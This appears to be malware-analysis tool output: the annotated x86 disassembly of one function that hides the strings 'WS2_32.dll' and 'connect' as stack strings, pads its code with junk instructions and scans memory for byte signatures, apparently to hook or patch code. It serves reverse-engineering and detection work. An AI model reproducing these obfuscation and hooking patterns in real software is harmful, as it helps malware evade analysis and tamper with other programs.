Function at 0x20001a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
lea eax, [ebp - 0x64]
xor ebx, ebx
push eax
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x74], 0x5f325357
mov dword [ebp - 0x70], 0x642e3233
mov dword [ebp - 0x6c], 0x6c6c
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], 0x6e6e6f63
mov dword [ebp - 0x60], 0x746365
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, 5
push ebx
mov dword [0x20007448], eax
call fcn.200036ce
mov esi, eax
push esi
call fcn.20003708
pop ecx
cmp esi, ebx
pop ecx
mov edi, eax
je 0x20001db3
cmp edi, ebx
je 0x20001db3
push ebx
lea eax, [ebp - 0x58]
push 9
push eax
push edi
push esi
mov byte [ebp - 0x58], 0x8b
mov byte [ebp - 0x57], 0x45
mov byte [ebp - 0x56], 0xc
mov byte [ebp - 0x55], 0x81
mov byte [ebp - 0x54], 0xec
mov byte [ebp - 0x53], 0x54
mov byte [ebp - 0x52], 1
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], bl
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001b54
add eax, esi
mov dword [0x20007350], eax
jmp 0x20001b61
mov dword [ebp - 4], 1
mov dword [0x20007350], ebx
push ebx
lea eax, [ebp - 0x34]
push 7
push eax
push edi
push esi
mov byte [ebp - 0x34], 0x8b
mov byte [ebp - 0x33], 0x8e
mov byte [ebp - 0x32], 0x38
mov byte [ebp - 0x31], 2
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x52
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001b9a
add eax, esi
mov dword [0x2000736c], eax
jmp 0x20001ba3
inc dword [ebp - 4]
mov dword [0x2000736c], ebx
push ebx
lea eax, [ebp - 0x1c]
push 6
push eax
push edi
push esi
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0xb9
mov byte [ebp - 0x1a], 0x58
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], bl
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001bd7
add eax, esi
mov dword [0x200061d8], eax
jmp 0x20001be0
inc dword [ebp - 4]
mov dword [0x200061d8], ebx
push ebx
lea eax, [ebp - 0xc]
push 5
push eax
push edi
push esi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x48
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x53
mov byte [ebp - 8], 0x56
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001c13
add eax, esi
mov dword [0x200073cc], eax
jmp 0x20001c1c
inc dword [ebp - 4]
mov dword [0x200073cc], ebx
or byte [ebp - 0x20], 0xff
or byte [ebp - 0x1f], 0xff
push ebx
lea eax, [ebp - 0x24]
push 6
push eax
push edi
push esi
mov byte [ebp - 0x24], 0x8a
mov byte [ebp - 0x23], 0x8d
mov byte [ebp - 0x22], 0x37
mov byte [ebp - 0x21], 0xfe
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001c53
add eax, esi
mov dword [0x20007218], eax
jmp 0x20001c5c
inc dword [ebp - 4]
mov dword [0x20007218], ebx
push ebx
lea eax, [ebp - 0x2c]
push 6
push eax
push edi
push esi
mov byte [ebp - 0x2c], 0x89
mov byte [ebp - 0x2b], 0x55
mov byte [ebp - 0x2a], 0x94
mov byte [ebp - 0x29], 0x8b
mov byte [ebp - 0x28], 0x55
mov byte [ebp - 0x27], 0x88
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001c93
add eax, esi
mov dword [0x2000617c], eax
jmp 0x20001c9c
inc dword [ebp - 4]
mov dword [0x2000617c], ebx
push ebx
lea eax, [ebp - 0x14]
push 5
push eax
push edi
push esi
mov byte [ebp - 0x14], 0xd9
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0xfe
mov byte [ebp - 0x11], 0x76
mov byte [ebp - 0x10], 0x15
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001cd1
lea eax, [eax + esi - 0xc]
mov dword [0x20007364], eax
jmp 0x20001cda
inc dword [ebp - 4]
mov dword [0x20007364], ebx
push ebx
lea eax, [ebp - 0x3c]
push 8
push eax
push edi
push esi
mov byte [ebp - 0x3c], 0x8b
mov byte [ebp - 0x3b], 0x75
mov byte [ebp - 0x3a], 8
mov byte [ebp - 0x39], 0x83
mov byte [ebp - 0x38], 0xc4
mov byte [ebp - 0x37], 8
mov byte [ebp - 0x36], 0x84
mov byte [ebp - 0x35], 0xc0
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001d19
add eax, esi
mov dword [0x2000731c], eax
jmp 0x20001d22
inc dword [ebp - 4]
mov dword [0x2000731c], ebx
push ebx
lea eax, [ebp - 0x44]
push 8
push eax
push edi
push esi
mov byte [ebp - 0x44], 0x83
mov byte [ebp - 0x43], 0xc4
mov byte [ebp - 0x42], 0xc
mov byte [ebp - 0x41], 0x83
mov byte [ebp - 0x40], 0xc7
mov byte [ebp - 0x3f], 1
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0xf6
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001d63
lea eax, [eax + esi + 0xa]
mov dword [0x20007360], eax
jmp 0x20001d6c
inc dword [ebp - 4]
mov dword [0x20007360], ebx
push ebx
lea eax, [ebp - 0x4c]
push 8
push eax
push edi
push esi
mov byte [ebp - 0x4c], 0x8b
mov byte [ebp - 0x4b], 0x4d
mov byte [ebp - 0x4a], 0xec
mov byte [ebp - 0x49], 0x83
mov byte [ebp - 0x48], 0xc4
mov byte [ebp - 0x47], 0xc
mov byte [ebp - 0x46], 0x6a
mov byte [ebp - 0x45], bl
call fcn.200037a1
add esp, 0x14
cmp eax, 0xffffffff
je 0x20001daa
add eax, esi
mov dword [0x20007358], eax
jmp 0x20001db3
inc dword [ebp - 4]
mov dword [0x20007358], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret